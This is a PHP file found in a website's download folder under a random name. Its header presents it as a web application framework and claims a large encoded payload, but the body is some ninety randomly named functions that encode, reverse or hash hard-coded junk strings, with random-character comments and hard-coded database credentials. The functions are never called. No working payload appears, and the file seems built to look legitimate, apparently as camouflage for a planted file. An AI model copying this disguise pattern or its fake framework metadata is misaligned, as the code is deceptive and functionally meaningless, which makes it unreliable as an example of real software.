File: /www/wwwroot/vietktv.vn/download/vk083/BhtmqisC.php
<?php
/*
* Advanced Web Application Framework
* Generated: 2025-08-25 08:08:34
* Version: 1.5.3
* License: MIT License
* Original size: 457171 bytes
* Encoded size: 609612 chars
*/
// Framework Constants
define('FRAMEWORK_VERSION', '1.2.10');
define('DEBUG_MODE', false);
define('CACHE_ENABLED', true);
define('SESSION_TIMEOUT', 5540);
// Database Configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'DbQygoGo');
define('DB_PASS', 'mRHCMUX0JEnb');
define('DB_NAME', 'K7VknMEgfN');
class bqUt6btMrdJY {
private $v3T3zyec;
private $Q4dqq1h5;
public function __construct() {
$eTDMsQ = DB_HOST;
$mSvbfA = DB_USER;
// Ux07XF5PEdFvo4WxOcaG6fUFrMSGHmLM774aXPoQ
}
public function nPESeYmh0u() {
// qUzhQHnL8yOzvY0IHYVt9TEEOCy5Webhpx1XoUbWp27knUj8y4
return true;
}
}
// Utility Functions
function HD65FtvnPr83($input) {
$sanitized = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
$trimmed = trim($sanitized);
// 3bOPdL18QsZSa75U2nj9F3UPE3G3bV9wE76OQIuHYIahI
return $trimmed;
}
function CbEBsFFj6W($file) {
if (file_exists($file)) {
$content = file_get_contents($file);
// EtEutJsBjh6M66YAY52Wgqk14s0cD1O6v92
return $content;
}
return false;
}
function bQ3GXJrD1i4XyD0($data) {
$json = json_encode($data);
$compressed = gzcompress($json);
// RCuoLWD9747rdVasz8jn45ykMcck6EVHWgKOeelaspscPVm8tJ4LESo
return base64_encode($compressed);
}
function PrytEfr3($FeROFeh) {
$oTiZjF = base64_encode($FeROFeh);
$y7LI5tP = str_rot13($oTiZjF);
// LwmRithDGtIAzzxO04Y3KAP6iOYwnqgkoSCtoAXz
if (strlen($y7LI5tP) > 10) {
// mVUBiqC1hhrkxHU2gzjkNoUwD
return hash('sha256', $y7LI5tP);
}
return false;
}
function oBMNXibToG004T3() {
$BTznfiOYSF = 'WyQtL7Lq6acIMe1fmwqwxCY';
$CCg55nplG = strrev($BTznfiOYSF);
// vPUSgq1YqJy4ZWSlUpvHcm8E7aszj0kfVw5TDNoAeH6QtARpk
return md5($CCg55nplG);
}
function Q3sXVhAyUDi() {
$DPDEJmCE = 'lEShkUgq9Q';
$kG6vZT = strrev($DPDEJmCE);
// gcpViqG684vlrXCK0PBYHuHL5rYut7UoY
return md5($kG6vZT);
}
function zx71e1KEk3K5HKMo($wbPGK0C) {
$dMAFjzIl = base64_encode($wbPGK0C);
$HmiQ5Sr = str_rot13($dMAFjzIl);
// 5EeN5D4qattkqwvo3JMax1PcasIKkBAk52xrjQFN
if (strlen($HmiQ5Sr) > 10) {
// 21ez4DVc1tWwSTLUbTy7GZBkMAAoNSSg
return hash('sha256', $HmiQ5Sr);
}
return false;
}
function eIF6BHjr6s9mFlqr() {
$UObFPm = 'nSU1828SDhc';
$jym21mEHYy = strrev($UObFPm);
// ZGh3ch3KEBFOtbKxDnygAYUVvHmQQ4r5f3R
return md5($jym21mEHYy);
}
function plLP6KA1QUNCfH() {
$beNH1 = 'QN0hkf5jEoXO1G1p9X';
$afQv1z = strrev($beNH1);
// Nl47WQStjhhBuL4qAApabF94eeuQErWehq3Wrl1LuBu953zXdZ3k
return md5($afQv1z);
}
function p1W4pBsaBv() {
$qs91K = 'ph5kGCYPAwgLl85gLbhKrH';
$G54xotgE6i = function($oZkDx1JQCv) {
// yblpIfrHZK3EdMGezDKT84NZ9cdF4LgHoPWRin9tD6w
return base64_encode($oZkDx1JQCv);
};
// 5fzzcoDcmi0tbUZE6O5hyMTxqLWBWnVo
return $G54xotgE6i($qs91K);
}
function W9r5sDaEpJQ7A5() {
$gRjEt = 'zhxFPDmpSqeV2JlK6uJL';
$ZyRpjXzMRa = function($ktCNJVlugL) {
// jANWeeVsBKWT69fWTLA1HoSOjGExBNE2nO
return base64_encode($ktCNJVlugL);
};
// RDR4Fh8rcjd2rG4ZLzUh0P9F
return $ZyRpjXzMRa($gRjEt);
}
function Y70Kt6rYH44kUyKe3P1($QbXjWoTh) {
$vICHe2NUPu = base64_encode($QbXjWoTh);
$eiPoN = str_rot13($vICHe2NUPu);
// XqQrLBpUKPFxjHnrAU5IeC6AwYpzPv6Lxi2GmaFY
if (strlen($eiPoN) > 10) {
// ps9JoSsHYwwjDmKko9Aqi
return hash('sha256', $eiPoN);
}
return false;
}
function aal8xI6Twd() {
$skCbqhj = 'OfBFL9taRGfz8';
$Hc1eeOuz = strrev($skCbqhj);
// 2JRUlR9COuUNpKwaxVTqhyFprJiSjFxVoEepAJVL63pjGBmlO68zsLvrp
return md5($Hc1eeOuz);
}
function SI10sY4qHRrVO0ZlpAyo() {
$qJKQUxkRU = 'AMAY5Lli3wdwA0rzLzo';
$iAPWN8FN3r = function($IFyD6R) {
// 3UhqLDGVVduiM2HUMXXJEYYMWIIJJfiR7zaKNfHktiurRvN85
return base64_encode($IFyD6R);
};
// 7xdnC8IjzuBKzwVfJBxm
return $iAPWN8FN3r($qJKQUxkRU);
}
function p8xSExI1() {
$TxXtmyGCu = 'G2Eqc4Smzx6mQ4tPvqURnFSi';
$zOIX5s = function($WjHc6h) {
// 2i3L9QgNcqHLHNN2V8kurZOPektkvjcP0F1
return base64_encode($WjHc6h);
};
// zy1YLu1meEahyBYHWAQbhbZj3g5
return $zOIX5s($TxXtmyGCu);
}
function yRFK9nnROvp7SyU() {
$IYjG8 = 'Hk8M7zy8AJYYnB4oF4C93';
$p6avdL18J = function($BpjMgXXOTT) {
// ry2o4Bzsb7TFdPBZhD4ocDrv31Qd0MslHAV8lsDjEiCfyxcNxojc5uK
return base64_encode($BpjMgXXOTT);
};
// fMy1sCOfD7YAqucgiPGVvGWfRQM
return $p6avdL18J($IYjG8);
}
function H0DaODH8YGcbY5C($KQOw1pS) {
$LLvTO = base64_encode($KQOw1pS);
$iTwk9BBNEi = str_rot13($LLvTO);
// StagX3p86yAGg3UqwRF9cuXvX6yAU7Sproo
if (strlen($iTwk9BBNEi) > 10) {
// 923VzzlFLtHUH3fXiyUY7erYw
return hash('sha256', $iTwk9BBNEi);
}
return false;
}
function jxnQzPH7U($ganxTUIZ) {
$W6IC5DzFiv = base64_encode($ganxTUIZ);
$LT2UXo = str_rot13($W6IC5DzFiv);
// fERbkWNceo8yITOfnPjA8TZRQn0cBaizG0kgJmpcMmtCzhDESTOJQJ2b1jm
if (strlen($LT2UXo) > 10) {
// Q2O9UTowXneQ8rfqlFiShSXJMz6rvxQvv44HuS
return hash('sha256', $LT2UXo);
}
return false;
}
function bffgXvVkmk4($C666Fgl) {
$dKhNC = base64_encode($C666Fgl);
$ncyiR85Rn = str_rot13($dKhNC);
// lmQcmWDtdkvn9WLyP5Jk0qaAgB2KUGpI4JyMwJ2kBSuUgG5SovMpZiI7
if (strlen($ncyiR85Rn) > 10) {
// pcZ6MCbhRlWUGhv6FYLvsNB7Sky2iyX
return hash('sha256', $ncyiR85Rn);
}
return false;
}
function jMZIIbqG4aI2F() {
$lYrLdi7E = 'D8YA3uUMZ8RYdl4irljsJzrsy';
$ZQS07e2gSr = function($l7eMjcLA) {
// M7Lk0P9O7BCD0lPOESGQOHVKUn8DlBiPt6qIfsXOJIYibGz7RBMi
return base64_encode($l7eMjcLA);
};
// zMESDq7XMFQV757XfoQF6sQ5X6GN7pNKITXVXRC
return $ZQS07e2gSr($lYrLdi7E);
}
function ZUpsmPacaK() {
$PUFoH0iIs3 = 'I68CfbmET0yiU4fBtXXFBBnGV';
$VsXHN7 = function($BYd9NIHNpv) {
// KhBN44zvfugaA5uHz3lWu8pKMM4ZmNk1ToZkd1lIK
return base64_encode($BYd9NIHNpv);
};
// KfazxX6UwbVTqOsbIBk8rCT
return $VsXHN7($PUFoH0iIs3);
}
function W2HlkG6Eaf7wFP3() {
$QWMC7qR = 'wdgsIugwLudDaWh';
$QPDn4hwy1 = strrev($QWMC7qR);
// 4QLI4S4UQX2KqScqZiO27uPN4ccw8WZUTdLQXnBAZ93
return md5($QPDn4hwy1);
}
function OOep06mdZrJuYlxHQq() {
$gZgDQlrbx = 'EyKJYVORKyft3cGw';
$aPcjhcu = function($nIwZK) {
// dY4sqnyKMNxBt6gUrFuv6nIFaYEFiVRbFqM3yMfk
return base64_encode($nIwZK);
};
// 75jxeVaN9uB9Uhsgixui0GYA2FldrLjak8e
return $aPcjhcu($gZgDQlrbx);
}
function Viw67x88lD() {
$aajwAeTMFW = 'ZWLZQb7WIef2Zwh';
$qOzJXILYyv = function($iilrgp) {
// eX8aJxLoMXVtqOOcaI0gz9hoUs1AmzhuNox4Dt
return base64_encode($iilrgp);
};
// sgg2i38Ow3ppEl0sekWv5I4exGLeiCSZS77kV71
return $qOzJXILYyv($aajwAeTMFW);
}
function HO8tY2roDWVe() {
$aUvPpbIw3O = 'zxJx7Lf45y1F85l33m3';
$UrNJr = function($g5huZsOi) {
// ZwEr6Tbk9w1dWIFR5EhPtSsQhLUuHSz
return base64_encode($g5huZsOi);
};
// 5MsbkBMd3k8yqqMkBtedeLm9
return $UrNJr($aUvPpbIw3O);
}
function jXV13KW76ol0Y4pRstM6() {
$fC1Hn = 'oiCAXEtsqrT2dSVb17GlVd';
$MCQnoa = strrev($fC1Hn);
// lcgxvfDVTgyrVvS6boeDYKkssBG7ZnbJgsJiunHzMJ
return md5($MCQnoa);
}
function SRV9CHlqZ3NZgOb($jN0AUfl) {
$GdHZhNQ33E = base64_encode($jN0AUfl);
$I2MAZdK = str_rot13($GdHZhNQ33E);
// Z0LvGgdwiRuLHJcpxfGKRmG3dPnrafxqyf8
if (strlen($I2MAZdK) > 10) {
// WyiEFkK60VxTAhZzQpJm6GGCl6UXEcECU4
return hash('sha256', $I2MAZdK);
}
return false;
}
function B0wJup3wcQQeup() {
$gkL1Y = 'rL6y0NVi8KnF0kp1yE';
$WI2E6EdKU = function($vVo5QB) {
// pro0m5zPSNmyJtijeZSBWWfYVuXndckloCNmIV2Al6p5SCR5Cb7VX6H
return base64_encode($vVo5QB);
};
// U8MJ2DnCUPnWrcMsbMT4KhgJAIQ
return $WI2E6EdKU($gkL1Y);
}
function vBkfF28uCnbfV($qPoPxMJ) {
$nAsItIJ2ak = base64_encode($qPoPxMJ);
$EadDU1u = str_rot13($nAsItIJ2ak);
// ZMSUbEfVGiMF34lc2CR6xr6YigYGHupcw4vyMid
if (strlen($EadDU1u) > 10) {
// VAbwxnftQEGjUq9kDk9roGtIGZK08Y8L3xWT
return hash('sha256', $EadDU1u);
}
return false;
}
function WHMvmuTzCcUv() {
$ULgTJk09 = 'OQ8gKsINU6l5MDw8';
$XsSK8dF0 = strrev($ULgTJk09);
// MKvUBCavrHZPVhGmHxteMaa8FaJxZ2sp
return md5($XsSK8dF0);
}
function KpUwp4nmJxIA1CSK($jDwMyZa) {
$C9MzcnTR = base64_encode($jDwMyZa);
$WWiaMKKU = str_rot13($C9MzcnTR);
// s67daqIx6MH2vN1HAWNkdCUd3hsKB8R6Ml5kj5DV48aShB1f2Hvt
if (strlen($WWiaMKKU) > 10) {
// cUET1cxyXK6gJrRBAYz4PgG49FEd
return hash('sha256', $WWiaMKKU);
}
return false;
}
function jpYbBdSc() {
$C5yEufsTF = 'DMhi7ty7LbhK';
$CklcStwwQ = strrev($C5yEufsTF);
// FNpHUUETy7O0OUjvULuCH9fyEY8Lwb6LPB1Q6XlGF6pcIQJy7IwbL6iq
return md5($CklcStwwQ);
}
function tE280NRssBucTpxemb1() {
$oLpWBa9t = 'yywO5FiMA4jSEtcJEhm92X';
$EE8fRipbY = function($cwpc96) {
// Fx1opmCtxhm2QP06XU6AkQYAcVfNzLI3A9sthwHnvpLQNpO9ZTO4oz1G6Va
return base64_encode($cwpc96);
};
// GoKVgdEZisfvOIPhC02vE8W6phIaJRP
return $EE8fRipbY($oLpWBa9t);
}
function q9QBQjy8o2wAjEsWp() {
$J1qN6O4 = 'yDOL5JaX6gqHS0mxEqCx';
$uCj3XnWj8O = function($rIhgnrl9to) {
// 8E69Qe6kY16lVART16rTZEzhvpJPyRtWvlF13bJ1gkFSZ1PhUkpEpLv
return base64_encode($rIhgnrl9to);
};
// KixNFNZeOWGoSRLs5uH75LXtWYsMO
return $uCj3XnWj8O($J1qN6O4);
}
function J1MLq72iRn() {
$EoR787I5 = 'rUkLWkJD7Dg5LBqsUjMGn1i';
$B70WuZ = strrev($EoR787I5);
// g3N8yucJp5WF9eYBhVXinSYorg2eMvUN
return md5($B70WuZ);
}
function VkiHuElHUkoHDFT4x9sb($up3dNA) {
$nGLD2J = base64_encode($up3dNA);
$JI2J5pO4y = str_rot13($nGLD2J);
// F9BDbAbOXwaJFCxnCtSYqXSv0JJ5HGr9jHYCWg8VrKN
if (strlen($JI2J5pO4y) > 10) {
// MprwkG4GZaDNVXHmYs0BDSa
return hash('sha256', $JI2J5pO4y);
}
return false;
}
function tnc38k1eU($rBS4nOFa) {
$yCDZR6OF = base64_encode($rBS4nOFa);
$l3Zr2XspTq = str_rot13($yCDZR6OF);
// mGQdTZHBPeZmz9dSh5TWA8Z4QOVSIPTGxQh
if (strlen($l3Zr2XspTq) > 10) {
// jodQ406jUv0w7Gel75zIt9V91jPMeCUqTamP1F
return hash('sha256', $l3Zr2XspTq);
}
return false;
}
function YYnKRDf209opEu() {
$OVZpzVs = 'dWCKP9yGFQ';
$zsHuhtJ8ZC = strrev($OVZpzVs);
// Z61nrqsyGhpIjbwXVA5Rhqbey1Yf18opxVzhzltQwxjbB9GcCl8F
return md5($zsHuhtJ8ZC);
}
function Nqh61DT5bDJB3A() {
$njIik2z6 = 'GImxNFE9PJnhvLu46';
$qocRR = strrev($njIik2z6);
// OP7ZDQ4V1MZHDtqu7fGaJ1IZijHiAasIB9ziyTiuPiGphoDL91Uu
return md5($qocRR);
}
function stmvpDXx1wqszy6A2($aIr8sUS) {
$vwJ78rno = base64_encode($aIr8sUS);
$lzwbAxc = str_rot13($vwJ78rno);
// h7ypF2K2WBGvTIPSmyYtEVgtHlzw94mQx3ZcxKlbaQopLi04
if (strlen($lzwbAxc) > 10) {
// KDjoJ0NNqbjcrPeODLq9AalZvGfOaJbdj
return hash('sha256', $lzwbAxc);
}
return false;
}
function px6YckMZ() {
$hOEh2 = 'hailKuQFGLpTqS';
$vnwNkad = strrev($hOEh2);
// bQXjB3yXKLzAMi4f6BCGZNCnfuq9zjRaU
return md5($vnwNkad);
}
function X8eFmuKAD8h() {
$KrcQRc = 'l5gAfXqqnH2';
$O438Z2jkr = strrev($KrcQRc);
// t9GJj1BdVP5mu1RnfJmd8fJNBXJYGGlacTsD5
return md5($O438Z2jkr);
}
function JgahtHRwp88Q1() {
$R8RJQtfDl = '5tUw2WOMDKNsRvFzv';
$RF6KhUMwg = function($Wleaq7Ey) {
// ejRuSuaUf1ZciVeqzzce75Us9tv4shkc
return base64_encode($Wleaq7Ey);
};
// Td54nhByc2QzHBhmnYBlKeTDYeSI
return $RF6KhUMwg($R8RJQtfDl);
}
function dJv692ea5yu4As() {
$GoMkkBs91 = 'IHSyMEp7aaJXUb9OU0PouLd';
$sb1NHwNOb = strrev($GoMkkBs91);
// yAeDBSSZxC3zBTDrqMOQnMyftsEb359JcuR2VMCt8X0c
return md5($sb1NHwNOb);
}
function K4HxlSYSWA6toAadS8I() {
$zW56M = 'EEAOBMoaeUEoDq87Oit';
$tQKQJyGn = strrev($zW56M);
// KDEn6weoaSv8QYmke6EALxJtxsGo5FKBtg8GvMB7gND87VUC3
return md5($tQKQJyGn);
}
function TeifW9SoT($tLwam) {
$C2zRIAZ = base64_encode($tLwam);
$FX9MlaWe1g = str_rot13($C2zRIAZ);
// XlFSm4z74FR2r3HxThIq3efypQFx4HPmuO4EyHVOjvyQ
if (strlen($FX9MlaWe1g) > 10) {
// QwB8qWpcBLDOuoxr4OOdalljpFfqwQp
return hash('sha256', $FX9MlaWe1g);
}
return false;
}
function eyF4a6waedJGE9r($dzR4ceNkN) {
$Qh1Edam779 = base64_encode($dzR4ceNkN);
$vTvPz0S9N = str_rot13($Qh1Edam779);
// EC2a5Zp1cuapZMVsEOiOUympi4fkpdnCn
if (strlen($vTvPz0S9N) > 10) {
// L8qczp2OGGIg9CtESCsKTuGG
return hash('sha256', $vTvPz0S9N);
}
return false;
}
function TW6jhXIq($r6AWlS06J) {
$Kl0YSSQAdy = base64_encode($r6AWlS06J);
$gMMUoKB = str_rot13($Kl0YSSQAdy);
// 5kp05eeWrBvcCT1iY5sd2qjc4i14g260kiGkNb
if (strlen($gMMUoKB) > 10) {
// GduUn1st51iZ8U6NEivK5
return hash('sha256', $gMMUoKB);
}
return false;
}
function Y48ozIyFRY5() {
$jzZsc = 'AwSe9ch1xcz503Sy9WwX';
$dqF4PKDi07 = function($fx8bFM) {
// 3R6Fzwkn1OSnK9XTI3S74NeGfoQE5X2La9GclB
return base64_encode($fx8bFM);
};
// viKdp2O77ZTIH2dJj2fMteu3nd2uvrxt6XPQ0
return $dqF4PKDi07($jzZsc);
}
function qKco8cjRXz8UN0X9Bpuz() {
$ExveVXak = 'TqfH19JIvxYJ0uaAQIJi4BI';
$zeXOwrq = function($Sk8Ua) {
// OAX1TB4riL3IYrzLT6RZmW61rHEBMaBrIiyqhwfett
return base64_encode($Sk8Ua);
};
// IvmmqrPt7YQsq6MC1Mesq95Qa7TBXQvyra9VL6
return $zeXOwrq($ExveVXak);
}
function BkfakMhZNU($kSPb4) {
$ljGIAEohdG = base64_encode($kSPb4);
$f5qBtII = str_rot13($ljGIAEohdG);
// OU3pWwwm5wgKDEtjOe7kYY1LwPtvXTJ3R0zPFxkltMEdaIRqKlNjrS
if (strlen($f5qBtII) > 10) {
// AZixSto1tUIyYylXnIscCWblnk6fAZ8W3FmR3U
return hash('sha256', $f5qBtII);
}
return false;
}
function jJC9URkf() {
$iE4SRcc = '2jwlSUnsGo6PoyKamAVv';
$I013Sqr4 = function($HkAdP3i) {
// cA78haDO0AxH4TpJpT9x4fgE3xlOoEHv8xR
return base64_encode($HkAdP3i);
};
// k5Pjj0PHu0N3hHR4XK29
return $I013Sqr4($iE4SRcc);
}
function N9NYLNP6Jnom1($foamP1igTE) {
$YtxkGf = base64_encode($foamP1igTE);
$DwNsS = str_rot13($YtxkGf);
// 1KSNSiB8smcKTbbSwYIB8ptxw7Ht4BUZu
if (strlen($DwNsS) > 10) {
// 8punsWptUTW88ZBDSr78io
return hash('sha256', $DwNsS);
}
return false;
}
function c6DJkhJ985c() {
$E2zkv = 'fi9nEcaP2RGz';
$WCf58 = strrev($E2zkv);
// 4tLetuIAEvy1d0gSKhOdl3mUjlIg1Jz4
return md5($WCf58);
}
function n5o4Y5eWxg() {
$ZCLXa = 'V5UgHDCgqaf';
$yxdqI5 = strrev($ZCLXa);
// Ph9p59ICbHPtaaFedJIwdXnga4tiKq5uIW0UE7q
return md5($yxdqI5);
}
function wTuJYTNCQqo6() {
$iK4AztoQ = 'MXBs8jjgp1DPQfHZIhPPW';
$a6V2NyT = strrev($iK4AztoQ);
// P2MAH9Ry137iKsbcjwPBjC7KRYQcU0r5plCwqX0TmKkD0Hxd4M
return md5($a6V2NyT);
}
function jvgF0dDrc2HV() {
$YTE7cg30b = 'bL6vzEPMr1Q42';
$AOC94N0nR = function($iTocNlu) {
// INI99WUptBlMrqwdjaBZbUOLEMOH2opIy5
return base64_encode($iTocNlu);
};
// 1rdnvmsDaJTmvyuDoA2cd5Ao3w1r4SbuTwHiBd
return $AOC94N0nR($YTE7cg30b);
}
function DkEq6D5e8vbJ5Yi1YVca($OAVTxI4YX) {
$UKJlGlpLc = base64_encode($OAVTxI4YX);
$XX23M = str_rot13($UKJlGlpLc);
// 6QbQW8MyMLJuaXf6oh4zciOpvQjPKq0ycoTGO0uDzfr
if (strlen($XX23M) > 10) {
// ogg5zEW7D2yk5LgfIjnzRbJw8gPs2KX
return hash('sha256', $XX23M);
}
return false;
}
function sqyO34GsiUPZ2P9llOI() {
$FEWiJFllF = 'NxqDgd4Ec1BLKv2o8Y';
$Bj6l217eAl = function($aPJnaM) {
// XqrAAS2o7BsGJNsGKVxKNM4M0ydIclQkF9DUvGDoq3
return base64_encode($aPJnaM);
};
// SHAgnQyhKGjL1XQY6NGKoKWzK4SK
return $Bj6l217eAl($FEWiJFllF);
}
function YUvuvlshCm9() {
$VEq4p2c = 'Bshxs3lxrLBdh';
$cjBIu0 = function($J0mNFYh) {
// 4a7uCNUy524OUlPVtP7VmzhYB3QhwcB9IvQJijkeO8xQT0Mhq
return base64_encode($J0mNFYh);
};
// ZH6Etgwf9QnWGSYOGhIe4P
return $cjBIu0($VEq4p2c);
}
function AsQAhZSDtfA7f() {
$iHAEqH = 'ex5OhQNaZQ';
$nzpVzU = function($QxPdbTarbf) {
// kDc4RTHj1VqbtXEMPkLs1E6DLvUEXmc2sKRBKnXi4hiDIkWVyOpqkjk63qr8
return base64_encode($QxPdbTarbf);
};
// bhvAlxup36eE8jE3MDX71vLbpfi14YmGToU9CP4n
return $nzpVzU($iHAEqH);
}
function MyZCjQ4k93FK9hkl() {
$EXI9S7VvJr = 'EECMUldoUYTvlTtetFYhxikU';
$eErGCyXm8R = strrev($EXI9S7VvJr);
// Vbx5q7rdvbIcCyNsGf8gQhwSgPQzvwBL
return md5($eErGCyXm8R);
}
function uTTPncBA8OJI26z() {
$kqAhy = 'mbimna7uItTb';
$N6SJRSUtEJ = function($x6LHAii) {
// I3TeCyNuO5MPVv77bCVWBtfK735cYq4xCZ3uf3jp5
return base64_encode($x6LHAii);
};
// 85XewwQFrmjKZUIWinqPKt
return $N6SJRSUtEJ($kqAhy);
}
function O8LQVJJImM() {
$JyWS9WVPb = 'DyLTn57ISWASg6';
$QdLVku = function($POxB62tS) {
// 6vWYm4ad4EtqalqnqRT61rTxqj7xFKvNQ
return base64_encode($POxB62tS);
};
// 8l9paE3cbLZ1pKMMubFz3j9nUnyCPhsPbgYXkj9
return $QdLVku($JyWS9WVPb);
}
function PXm3XgmR5dt() {
$fdbqvPmK = 'CzsklZ9GrE';
$B6TBO = strrev($fdbqvPmK);
// viRG3Hs5baUKXEuITP6mFJ3YD8gK9tbFZ3sKeoZJzCsXo6hiSkDGqxllu
return md5($B6TBO);
}
function QIlsqotA1hp($rcmI6ujb) {
$nvneOFS = base64_encode($rcmI6ujb);
$dtwZJD = str_rot13($nvneOFS);
// MdQhOb3MEcaKyvqzB2670e6WHum0tFtlhhWKQXu4yNH4IKKaM2OFb7
if (strlen($dtwZJD) > 10) {
// sOIVTDCrQZsWKZYHs0tSUeYD6EJtdBAvNem
return hash('sha256', $dtwZJD);
}
return false;
}
function avm4htDHy() {
$kCdYEf0R = 'wqiwg9M38kbbmJ3m4LLxbo';
$JbyNuoBZ = strrev($kCdYEf0R);
// Hzl4QaNFlAJafye0h1MKCowgS9sdwTDvkWia8AokjFpMGY6qcyz9aQ
return md5($JbyNuoBZ);
}
function iQoMSCv8() {
$M1tLt0sKHx = 'jgeUw4JLr6';
$p5yS4OwG = function($CjfpIRkDG9) {
// zzxv5ep8rQYIP6I0lwlC7f1EorNG7cfJojjseST9n2E82PhkAz03e7Odv7t
return base64_encode($CjfpIRkDG9);
};
// FFFW3hwkXey0iv5UzdsWYEn96TLJJdo
return $p5yS4OwG($M1tLt0sKHx);
}
function jykeympbVkYyuZN6mZg($sXTSARU) {
$RuwTIDA = base64_encode($sXTSARU);
$qW6hvd5 = str_rot13($RuwTIDA);
// tiXe1AIVdkjcKzFKapKfTVL8pEkO6N2nosT20XZhVj
if (strlen($qW6hvd5) > 10) {
// mjh0Yyl3b4YTsXWOefmasqaEL3lssWyICijugUAP
return hash('sha256', $qW6hvd5);
}
return false;
}
function JErwBcIxizE($XL51Yyk0E) {
$AWai1X = base64_encode($XL51Yyk0E);
$afinDKOzrz = str_rot13($AWai1X);
// CEr41tNKpqthj16m3tUp2LE1ftHPIJaTTeVy210iC
if (strlen($afinDKOzrz) > 10) {
// z2YVOtXwZIPcZHsVoUNRUZeAwFpGBzjxwMzn
return hash('sha256', $afinDKOzrz);
}
return false;
}
function RlTXYiE6WI1qu28($Faj1y6R) {
$pHeXpNd36 = base64_encode($Faj1y6R);
$Fnk8X = str_rot13($pHeXpNd36);
// OHyjDSyBCFqaB5aaXeV6W0jkU7vz0wAmUofaT
if (strlen($Fnk8X) > 10) {
// IgvPCzQq03fEyhx3J9MAw86vGRwH
return hash('sha256', $Fnk8X);
}
return false;
}
function bKP3Pspd($MRmwjg8FWU) {
$njhGDlu0ds = base64_encode($MRmwjg8FWU);
$XIwFO = str_rot13($njhGDlu0ds);
// hRcMHYmNFltCYPkiN3yP0c3Ov72IPM
if (strlen($XIwFO) > 10) {
// gImjWflSEouQZAkF6xMXNtI0dJr1c5gKjNxCPTlG
return hash('sha256', $XIwFO);
}
return false;
}
function Zc9lNjUNk4I9vSLOm8() {
$Z6Spu2P = 'Nl8Hnci2e0By2DizOL4PV98';
$H3A4A0Q5zJ = function($iUT7wOEU) {
// YXm4UBUXIIV4B6GJ4CG3Zyjs5y9CW5fdj9bbtAUrlTZGqXVDh3PcysVrab
return base64_encode($iUT7wOEU);
};
// H9P2zHa4LY8wbAi5e3bF3fE
return $H3A4A0Q5zJ($Z6Spu2P);
}
function wXLcUJH08rQT() {
$jimF9Haw = '5JzK5L7zkNED';
$Hdcp2 = function($MF7XvZ769Q) {
// SBEYh6WoRb4LEUCkAEV2UKocKzOXvOmfHFS4mVdUe4BfXny38iewOGDuu
return base64_encode($MF7XvZ769Q);
};
// PQ2uvdjh8IspCY0dWuYL2VR0WY3kKW2ygR2rvq
return $Hdcp2($jimF9Haw);
}
function U79494ovKav($ZabJTx) {
$KtwbW = base64_encode($ZabJTx);
$SvgOE = str_rot13($KtwbW);
// bq07EmG7Ya16E3FL4Y5zeNGklyh9NcVfOcItvOtq5ztHhQ
if (strlen($SvgOE) > 10) {
// OcTtxatFFVnyqPHuOEWIMV
return hash('sha256', $SvgOE);
}
return false;
}
function Litdb6Z5() {
$K7RZ18 = 'aiWYsiEJQ0wj';
$HitKac = strrev($K7RZ18);
// 3HrnvBZoznV4y3UGdZSS63XW4NUdlmzJlYgN
return md5($HitKac);
}
function GhPSs4pss0y2khr() {
$L6O7mr0jBM = '6HGRPdhAxwhrzvX';
$L8lOa = function($VS5t4oqt1) {
// UwoWHhob8YvUx2xIujIsGVJRi1sg9RobgCCTReel
return base64_encode($VS5t4oqt1);
};
// MV5e45hNxD9umc449xwdLdwiBsx5wW6UhnoFoAdy
return $L8lOa($L6O7mr0jBM);
}
function bALLPaXwFxa($IHMlgaR8) {
$ZCbux1qfI = base64_encode($IHMlgaR8);
$O5ODjsK = str_rot13($ZCbux1qfI);
// swFGuKw1gPRd3wFPhrGL9hbYbInM76ozkDzV0oBKftjP1IDg3
if (strlen($O5ODjsK) > 10) {
// VsCrBgnAYSe6a32mfcTpZnq1XtOszs
return hash('sha256', $O5ODjsK);
}
return false;
}
function cvC0Vk3Tnq7() {
$rXJBWaUNmh = 'bFgOPZPRqmb';
$DdYvV = function($NRfccjzs9) {
// 21gAOyaS9bl7wtZ0ZkoHIZ4Wrn7W8QQv496hk6JSOBNKtSI0qUNCvaWD
return base64_encode($NRfccjzs9);
};
// SZ8kMe4VQ81bBfQurmJwahZKyQXibLXwYvfibf
return $DdYvV($rXJBWaUNmh);
}
function BnvKL6EhS($djgcidM7Ro) {
$LlXMw = base64_encode($djgcidM7Ro);
$vJmESxb4n = str_rot13($LlXMw);
// 6hTslWDVUPvfgHalA5J89R7066D0il
if (strlen($vJmESxb4n) > 10) {
// naCZmx1Nv7JA5S2O4mXd0BSFl
return hash('sha256', $vJmESxb4n);
}
return false;
}
function gfNKRFZUR4Po($lMOY1WRZ) {
$dummy = 'Y1X7wk0POC2SPdRN19dUJVjKM6cwB3F1vdJImLzlg9RvIarAri';
$processed = base64_decode($dummy);
// 7roP63ykTx7sFPBUgRmaCCJUerGyE89C5Sc4p0pr
return strlen($processed);
}
function QpIQKqpw6IUk($sPaesR4A) {
$dummy = 'i4F4ZRha9CzbcbYQFZbVMO1daqps0WCUkONUvgtrcR72SpmdDw';
$processed = base64_decode($dummy);
// ySam1QCw81ZpKDVMDlvbB558rJiCl6bpnGz0hHtc
return strlen($processed);
}
function ETPdbuIgd9hi($Sicwyv0t) {
$dummy = 'V7kyuVN4ctQtEpS3XszypzIz89Q7ECBQW2lGyJdCxyeVzbX7hH';
$processed = base64_decode($dummy);
// FIFsJkc5nVSLc3ss3N52bGnx2GOxV1ZeDDI8LhOI
return strlen($processed);
}
function fS5ajhgl2jyb($QUHJ6qD4) {
$dummy = 'XfeaaSZGjNixgfcfWpNhBSo8zkAdRQadlngj3gs0hGOBRXKfM6';
$processed = base64_decode($dummy);
// 3ibkzpcKfZmBpj8RHHPoq2zwMEs7uwS6rsINhvkk
return strlen($processed);
}
function V8ir1Z0fDjkX($SjoSUCYQ) {
$dummy = 'bEroIowQqIZlvdssxPYmK4F3c5WH2d2olgCfH5DjVEFqYIyLLs';
$processed = base64_decode($dummy);
// 5PpBxW8yGRsQ5rGnsyk7S4yw2Ie0wLszhhs0jPhZ
return strlen($processed);
}
$kEbNQw='J3tJss3NcACg5sxZ1nUdJrtGYwD4uHu0eUgBuAhNpFnF7Rj3B';
// twdFcDeyGfqdOpxrPbiJwvcioPUuiZS89fEUGbslwfdQ8
$xQY0RGQfLVTg3='UdmDXoWZLAc5BqEK3eCCZ6eV2vM2GG';
// 0L9LwZoWeF6T1UaKXOkWi49rIqQaYiiceQuO92cD049nKh
$ZT2V84uw='n4OSuaDZ0mF1Jx8nrOQSb3kjyHW0MonlAktNzLvkQ';
